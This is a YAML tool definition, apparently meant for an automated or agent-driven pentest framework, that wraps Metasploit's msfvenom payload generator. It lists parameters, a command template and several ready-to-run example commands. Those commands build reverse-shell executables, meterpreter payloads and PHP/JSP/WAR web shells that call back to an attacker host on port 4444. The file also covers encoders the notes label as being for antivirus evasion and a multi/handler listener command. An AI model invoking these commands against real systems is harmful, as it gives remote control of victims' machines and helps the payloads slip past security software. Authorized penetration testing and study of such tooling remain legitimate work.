name: msfvenom
category: exploit
description: Payload generator and encoder from Metasploit Framework.
keywords:
  - payload
  - shellcode
  - metasploit
  - reverse shell
  - meterpreter
  - encoder

parameters:
  payload:
    type: string
    required: true
    flag: "-p"
    description: "Payload to use (e.g., windows/meterpreter/reverse_tcp)"

  lhost:
    type: string
    description: "LHOST option (attacker IP)"

  lport:
    type: integer
    description: "LPORT option (attacker port)"

  format:
    type: string
    flag: "-f"
    description: "Output format (exe, elf, raw, python, c, etc.)"

  encoder:
    type: string
    flag: "-e"
    description: "Encoder to use (e.g., x86/shikata_ga_nai)"

  iterations:
    type: integer
    flag: "-i"
    description: Number of encoding iterations

  bad_chars:
    type: string
    flag: "-b"
    description: "Bad characters to avoid (e.g., '\\x00\\x0a')"

  output:
    type: string
    flag: "-o"
    description: Output file

  arch:
    type: enum
    flag: "-a"
    options: ["x86", "x64", "armle", "aarch64"]
    description: Target architecture

  platform:
    type: enum
    flag: "--platform"
    options: ["windows", "linux", "osx", "android", "java", "php", "python"]
    description: Target platform

  smallest:
    type: boolean
    flag: "-s"
    description: Generate smallest payload

  nopsled:
    type: integer
    flag: "-n"
    description: Prepend NOP sled of given size

  list_payloads:
    type: boolean
    flag: "-l payloads"
    description: List all payloads

  list_encoders:
    type: boolean
    flag: "-l encoders"
    description: List all encoders

  list_formats:
    type: boolean
    flag: "-l formats"
    description: List all output formats

requires_root: false
timeout: 120

command_template: "msfvenom -p {payload} LHOST={lhost} LPORT={lport} {format?} {encoder?} {iterations?} {bad_chars?} {arch?} {platform?} {nopsled?} {output?}"

examples:
  - "msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe"
  - "msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf"
  - "msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.php"
  - "msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 5 -o encoded.exe"
  - "msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f war -o shell.war"

notes: |
  Common payloads:
  - windows/meterpreter/reverse_tcp
  - windows/shell_reverse_tcp
  - linux/x64/shell_reverse_tcp
  - linux/x64/meterpreter/reverse_tcp
  - php/meterpreter/reverse_tcp
  - java/jsp_shell_reverse_tcp
  - android/meterpreter/reverse_tcp

  Common formats:
  - exe, elf: Executables
  - raw: Raw shellcode
  - c, python, ruby: Code formats
  - asp, aspx, jsp: Web shells
  - war: Java web archive
  - ps1: PowerShell

  Encoders (for AV evasion):
  - x86/shikata_ga_nai
  - x86/fnstenv_mov
  - x64/xor

  Handler setup:
  msfconsole -x "use multi/handler; set payload <payload>; set LHOST <ip>; set LPORT <port>; run"
